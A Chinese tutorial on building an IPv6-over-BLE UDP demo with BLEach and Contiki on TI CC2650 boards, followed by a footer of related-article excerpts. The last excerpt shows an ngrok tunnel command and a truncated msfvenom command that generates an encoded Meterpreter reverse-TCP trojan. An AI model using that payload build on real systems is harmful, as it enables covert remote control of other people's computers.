虽然BLE 5.0协议理论上已经开始支持IPv6了,但是目前市面上还没有可用的实现IPv6通信的BLE产品。

最近在网上看到一个开源的基于contiki系统,在CC2650上实现的IPv6 over BLE——BLEach。官网

其实现原理类似于IPv6 over 6lowpan,在底层和应用层之间添加了中间层:

更多实现原理请查阅RFC 7668和BLEach开发者的论文BLEach Exploiting the Full Potential of IPv6 over BLE in Constrained Embedded IoT Device,本文不展开讨论。

本文根据BLEach的readme来实现一个简单IPv6 over BLE的UDP通信demo。

软硬件环境

  • 虚拟机:Instant Contiki
  • Contiki版本:3.0
  • server节点:淘宝买的CC2650开发板(电装科技)
  • client节点:TI CC2650 LaunchPad
  • Flash Programmer 2 版本:v1.7.5

安装Contiki

参见CC2650LaunchPad 运行contiki hello-world示例程序,稍有不同,这里源代码使用了带有BLEach的Contiki:https://github.com/spoerk/contiki

修改配置

server和client源代码分别在../contiki/examples/cc26xx/cc26xx-ble-server-demo../contiki/examples/cc26xx/cc26xx-ble-client-demo下,两个目录下的配置文件project-conf.h都已按照README.md配置好,另外需要修改两个部分:

server端

project-conf.h的line 62,这里定义了客户端的Mac地址,即客户端节点开机后主动链接的MAC地址。可能因为是demo,作者设为了固定值。

/* BLE radio settings */
#define BLE_MODE_CONF_INIT_PEER_ADDR 0x0000000000

所以我们需要看一下打算作为客户端的LaunchPad的MAC地址,通过Flash Programmer 2就可以,可能会出现需要擦除FLASH的提示:

这是因为怕从FLASH中提取出程序,所以加了锁,右上角选擦除就可以了:

然后从Mac Address标签下单击BLE Mac Address下的Read:

把读出的值写到上文提到的位置(按照格式)。

client端

client会一直广播,它不需要与固定mac地址的设备进行连接。需要修改的是client.c的line 50:

#define SERVER_IP             "fe80::xxxx:xxxx:xxxx:xxxx" //"::"

这里是UDP连接的server的IPv6地址,但是通过server源代码我们并不知道它的IPv6地址,后来才知道原来IPv6地址可以通过mac地址生成,所以知道server的mac地址,算出它的IPv6地址就可以了,有两种方法:

  • 同上文一样,通过Flash Programmer 2读出server的mac,然后根据算法算出其IPv6地址,也有现成的小工具,比如Compute MAC address to IPv6。
  • 将下文函数加到server.c中:
    static void
    print_local_addresses(void)
    {
    int i;
    uint8_t state;
    PRINTF("Server IPv6 addresses: ");
    for(i = 0; i < UIP_DS6_ADDR_NB; i++) {
    state = uip_ds6_if.addr_list[i].state;
    if(uip_ds6_if.addr_list[i].isused &&
    (state == ADDR_TENTATIVE || state == ADDR_PREFERRED)) {
    PRINT6ADDR(&uip_ds6_if.addr_list[i].ipaddr);
    PRINTF("\n");
    }
    }
    }

然后在PROCESS_THREAD(ipv6_ble_server_process, ev, data)中调用,然后编译下载后用串口助手看到打印出来的本机IPv6地址了。

编译和下载

根据板子不同,分别使用:

make TARGET=srf06-cc26xx BOARD=srf06/cc26xx server

make TARGET=srf06-cc26xx BOARD=launchpad/cc2650 client

编译后,在windows下用Flash Programmer 2下载。

效果

开机后,client自动开启广播,然后server与其建立BLE连接,通过IPv6邻居协议发现对方,通过UDP发送数据包:

客户端类似。

基于TI CC2650的IPv6 over BLE(BLEach) demo的更多相关文章

  1. 蓝牙协议 基于TI cc2540 模块的理解(转)

    源:蓝牙协议 基于TI cc2540 模块的理解 Bluetooth 4.0开发 Platform:TI IC:cc2540 Environment:windows 7 tools:IAR 8.20. ...

  2. 基于TI Davinci架构的多核/双核开发高速扫盲(以OMAP L138为例),dm8168多核开发參考以及达芬奇系列资料user guide整理

    基于TI Davinci架构的双核嵌入式应用处理器OMAPL138开发入门 原文转自http://blog.csdn.net/wangpengqi/article/details/8115614 感谢 ...

  3. 基于TI 多核DSP 的大数据智能计算处理解决方案

    北京太速科技有限公司 大数据智能计算,是未来的一个发展趋势,大数据计算系统主要完成数据的存储和管理:数据的检索与智能计算. 特别是在智能城市领域,由于人口聚集给城市带来了交通.医疗.建筑等各方面的压力 ...

  4. (4.2)基于LingPipe的文本基本极性分析【demo】

    酒店评论情感分析系统(四)—— 基于LingPipe的文本基本极性分析[demo] (Positive (favorable) vs. Negative (unfavorable)) 这篇文章为Lin ...

  5. 基于TI DSP TMS320C6455、Xilinx V5 FPGA XC5VSX95T的高速数据处理核心板

    一.板卡概述 该DSP+FPGA高速信号采集处理板由我公司自主研发,包含一片TI DSP TMS320C6455和一片Xilinx V5 FPGA XC5VSX95T-1FF1136i.包含1个千兆网 ...

  6. 基于TI DSP TMS320C6678、Xilinx K7 FPGA XC7K325T的高速数据处理核心板

    一.板卡概述 该DSP+FPGA高速信号采集处理板由我公司自主研发,包含一片TI DSP TMS320C6678和一片Xilinx FPGA K7 XC72K325T-1ffg900.包含1个千兆网口 ...

  7. 基于webrtc的多人视频会话的demo运行程序

    服务端程序: 该服务程序为windows平台下的程序,使用libevent书写,并集成了UDP的中转程序.(该服务器程序不能和客户端程序运行在同一台PC机电脑,不然服务器程序和客户端程序会抢占同一UD ...

  8. 基于Angular和Spring WebFlux做个小Demo

    前言 随着Spring Boot2.0正式发布,Spring WebFlux正式来到了Spring Boot大家族里面.由于Spring WebFlux可以通过更少的线程去实现更高的并发和使用更少的硬 ...

  9. 基于Cocos2dx + box2d 实现的愤慨的小鸟Demo

    1. Demo初始界面 2. 游戏界面 3. 精确碰撞检測 4. 下载  压缩文件文件夹 AngryBird source    愤慨的小鸟Demo源码,基于Cocos2dx C++,以及box2d技 ...

随机推荐

  1. 再谈javascript面向对象编程

    前言:虽有陈皓<Javascript 面向对象编程>珠玉在前,但是我还是忍不住再画蛇添足的补上一篇文章,主要是因为javascript这门语言魅力.另外这篇文章是一篇入门文章,我也是才开始 ...

  2. Vue 组件(component)之 精美的日历

    公司的要求,需要开发一个精美的日历组件(IOS , 安卓, PC 的IE9+都能运行),写完后想把它分享出来,希望大家批评(). 先来个截图 代码已经分享到 https://github.com/zh ...

  3. JS操作css样式用法

    //html <div id="div1" style="background:red;"> 修改背景颜色 </div> <but ...

  4. php 常量const

    常量使用关键词const修饰,一经定义,不能改变 常量的使用规则 定义后,应该马上赋初始值 不能用public.private.protected修饰 在本类,可用self::name  类名::na ...

  5. EF Core 使用编译查询提高性能

    今天,我将向您展示这些EF Core中一个很酷的功能,通过使用显式编译的查询,提高查询性能. 不过在介绍具体内容之前,需要说明一点,EF Core已经对表达式的编译使用了缓存:当您的代码需要重用以前执 ...

  6. 内网IP无法访问

    就是我们在3类地址中常见到内网的IP段. 10.0.0.0--10.255.255.255 172.16.0.0--172.31.255.255 192.168.0.0--192.168.255.25 ...

  7. 购物车css样式效果

    <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...

  8. 【转载】从头编写 asp.net core 2.0 web api 基础框架 (5) EF CRUD

    Github源码地址:https://github.com/solenovex/Building-asp.net-core-2-web-api-starter-template-from-scratc ...

  9. 前端基于react,后端基于.net core2.0的开发之路(番外篇) 后端使用T4模板,生成某些类

    1.介绍 因为开发过程中,有部分类是你加一个模型,就需要去改动的,每次加非常的烦,或者有些类,你只用到了他基类的方法,但是你还必须建一个文件才能调用他基类的方法,也很烦. 这个时候,T4就非常有用了. ...

  10. metasploit配置windows外网木马

    首先在命令端输入./ngrok tcp 2222然后会变成这样 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i ...